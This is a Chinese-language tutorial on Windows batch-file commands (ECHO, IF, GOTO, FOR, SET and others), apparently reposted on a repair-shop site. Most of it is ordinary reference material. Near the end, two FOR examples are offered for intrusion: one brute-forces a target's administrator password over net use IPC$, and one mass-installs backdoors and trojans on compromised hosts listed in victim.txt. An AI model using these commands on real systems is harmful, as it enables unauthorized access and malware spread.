020-29133788
    资 讯
    您的位置:首页 >> 资 讯 >> 软件应用 >> 编程开发 >> 正文
    概说 By When SunTea

    点击:   发布日期:2013-05-11

    本文来自 www.020fix.com

    批次档案(Batch File)通称批次处理程式(Batch Program),这一点与编译型语言有所不同,就C语言来说,副档名为C或者Cpp的档可以称之为C语言档或者C语言源代码,但只有编译连接后的exe档才可以称之为C语言程式。因为批次档案本身既具有文本的可读性,又具有程式的可执行性
    这些称谓的界限是比较模煳的。


    每个批次档案等于一个DOS的外部指令,可以把它所在的目录放到你的要搜索路径(又称Path)中所以它几乎可以在任意位置执行。


    通常是在硬盘上建立一个bat(例如D:\MyBat.bat),然后将所有你编写的批次档案放到该目录中
    这样只要在Path中设定上C:\Windows(或 %Windir% %SystemRoot%),你就可以在任意位置执行所有你编写的批次处理程式。




    以下是他的指令:


    1. @ 并非命令,是批次处理的特殊标记符号,用于遮罩命令行回显。


    2. :: 可以起到rem的注释作用,且更简洁有效,但有两点需要注意...


    第一.除了 :: 之外,任何以 : 开头的字元行,在批次处理中被视作标号,而直接忽略后面的内容
    只是为了与正常的标号相区别,建议使用 goto 所无法识别的标号,即在 : 后紧跟一个非字母数位元的一个特殊符号。




    第二.与 Rem 不同的是, :: 后的字元行在执行时不会回显,无论是否用 echo on 打开命令行回显状态
    因为命令解释器不认为他是一个有效的命令行,就此来看, Rem 在某些场合下将比 :: 更为适用,且 Rem 可以用于 Config.sys 中。


    3. ECHO


    当程式执行时,显示或隐藏批次处理程式中的正文,也可用于允许或禁止命令的回显。


    在执行批次处理程式时,MS-DOS一般在萤幕上显示(回显)批次处理程式中的命令。
    使用ECHO命令可关闭此功能。


    方法


    ECHO [ON|OFF]   / EX: @echo on


    若要用echo命令显示一条命令,可用下述语法:


    echo [Message]   /EX:echo Hello!!


    参数


    ON|OFF
    指定是否允许命令的回显,若要显示当前的ECHO的设定,可使用不带参数的ECHO命令。


    Message
    指定让MS-DOS在萤幕上显示


    4.CALL


    从一个批次处理程式中调用另一个批次处理程式,而不会引起第一个批次处理的中止。


    语法


    CALL [drive:][path]filename[batch-parameters]


    参数


    [drive:][path]filename
    指定要调用的批次处理程式的名字及其存放处。档案名必须用.BAT作副档名。


    5.PAUSE


    暂停批次处理程式的执行并显示一条消息,提示用户按任意键继续执行。只能在批处
    理程式中使用该命令。


    语法


    PAUSE   /这会显示文字
    PAUSE>NUL   /这不会显示文字


    6.IF 是条件语句,用来判断是否符合规定的条件,从而决定执行不同的命令。 有三种格式:


    一、if [not] "参数" == "字串" 待执行的命令


    参数如果等于(not表示不等,下同)指定的字串,则条件成立,执行命令,否则执行下一句


    例:if "%1"=="a" goto emd


    7.GOTO 批次档案执行到这里将跳到goto所指定的标号(标号即label,标号用:后跟标准字串来定义)处,goto语句一般与IF配合使用,根据不同的条件来执行不同的命令组。


    EX:


    goto end


    :end
    echo this is the end


    标号用":字串"来定义,标号所在行不被执行。


    8.Start 指令
    说明:启动另一个视窗执行指定的程式或指令。
    例如:start "程式"
    分析:在新视窗中开启程式。
    9. for 指令   (较为复杂,转贴 雅痞小宅)
    说明:在指定的范围内循环执行指令。
    备注:在批处理档案中使用 for 指令时,指定变数请使用 %%variable,而不要用 %variable。
    用法:for {%variable|%%variable} in (set) do command [command-parameters]
    参数:%variable 变数。只能是单一字母,分大小写和全局,所以 %i 不同于 %I。
    (set)     一个或一组档案。可以使用万用字元。
    command  对每个档案执行的指令。
    command-parameters   指令行开关。


    带指令行开关的 for 指令:


    用法:for /d %variable in (set) do command [command-parameters]
    说明:如果集中包含万用字元,则指定与目录名核对,而不与档案名称核对。(directory)
    例 1:for /d %i in (*) do @echo %i
    作用:枚举目前目录下的子目录名。
    例 2:for /d %i in (*g*) do @echo %i
    作用:枚举目前目录下的子目录名含g的名称。


    用法:for /r [[drive:]path] %variable in (set) do command [command-parameters]
    说明:检查以 [drive:]path 为根的目录树。如果在 /r 后没有指定目录,则使用目前目录。如果集仅为一个单点(.)字元,则枚举该目录树。 (root)
    例 3:for /r %i in (.) do @echo %i
    作用:枚举目前目录下的全部子目录名路径。
    例 4:for /r %i in (*) do @echo %i
    作用:枚举目前目录及子目录下的全部档案名称路径。


    用法:for /l %variable in (start,step,end) do command [command-parameters]
    说明:以增量形式从开始到结束一个数字序列。(list)
    例 5:for /l %i in (1,1,5) do @echo %i
    作用:产生序列 1 2 3 4 5。
    例 6:for /l %i in (5,-1,1) do @echo %i
    作用:产生序列 5 4 3 2 1。


    用法:for /f ["options"] %variable in (file-set) do command [command-parameters]
    for /f ["options"] %variable in ("string") do command [command-parameters]
    for /f ["options"] %variable in ('command') do command [command-parameters]
    说明:file-set为一个或多个档案名称。/f 分析每个档案的每一行,跳过空白行。"options" 关键字:
            eol=c           - 行注解字元的结尾(就一个)
            skip=n          - 在档案开始时略过的行数。
            delims=xxx      - 分隔符集。取代空格和跳格键的预设分隔符集。
            tokens=x,y,m-n   - 每行的哪一个符号被传递到每个迭代的 for 本身。
                              这会导致额外变数名称的分配。m-n格式为一个范围。
                              透过 nth 符号指定 mth。如果符号字串中的最后一个字元星号,
                              那么额外的变数将在最后一个符号解析之后分配并接受行的保留文字。
            usebackq                          
                              在作为指令执行一个后引号的字串并且一个单
                              引号字元为文字字串指令并允许在 filenameset
                              中使用双引号扩起档案名称。
    例 7:for /f "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do @echo %i %j %k
    作用:分析 myfile.txt 中的不以分号开头(eol=;)的行,将每行按逗号和空格分成几段(delims=; ),再将每行的第2段、第3段及第3段以后的剩馀段分别赋值给变数%i、%j、%k。对于带有空格的档案名称,需要用双引号将档案名称括起来。


    透过 tokens= 最多可以指定 26 个符号,for变数最多可以同时使用52个 。
    在相邻字串上可以使用 for /f 分析逻辑;方法是,用单引号将括号之间的 file-set 括起来。这样,该字串会被当作一个档案中的一个单一输入行。
    最后,您可以用 for /f 指令来分析指令的输出。方法是,将括号之间的 file-set 变成一个反括字串(Esc键下面的按键)。该字串会被当作指令行,传递到一个子 cmd.exe,其输出会被抓进记忆体,并被当作档案分析。


    例 8:for /f "usebackq delims==" %i in (`set`) do @echo %i
    作用:枚举目前环境中的环境变数名称。


    下面我们举几个例子来具体说明一下for指令在入侵中的用途。


    例 9:for /f %%i in (dict.txt) do net use \\ip\ipc$>D:\ok.txt
    分析:利用for指令来实现对一台目标winnt主机的暴力密码破解。我们用net use指令尝试和目标主机进行连接,当成功时记下密码。用%i来表示administrator的密码,%i的值在dict.txt中取得,然后将程式运行结果传递给find指令,ok.txt中的值即为目标主机的密码。


    例10:for /f 「tokens=1,2,3 delims= 」 %%i in (victim.txt) do start call door.bat %%i %%j %%k
    分析:自动给大量肉鸡种后门和木马。该指令按顺序将victim.txt中的内容传递给door.bat中的参数%i %j %k。
    而cultivate.bat无非就是用net use指令来建立ipc$连接,并copy木马+后门到victim,然后用返回码(if errorlever =)来过滤器成功种植后门的主机,并echo出来,或者echo到指定的档案。
    delims= 表示vivtim.txt中的内容是一空格来分隔的。所以victim.txt里的内容应该根据%%i %%j %%k表示的对象来排列,一般就是「IP位址 密码 帐号」。
    10.SET        显示,设定环境变数
    Syntax:        
            SET [ variable=[string]]
    Example:        
            set            显示目前环境变数
            set P        列出所有以'P'开头的环境变数
            set USER=Tom    将USER加入环境变数中
            set PATH=C:\test;%PATH%
                    将C:\test加入目前的环境变数中(只对当前的Command Prompt有效)
            set /P str=Message
    11.CLS        清除画面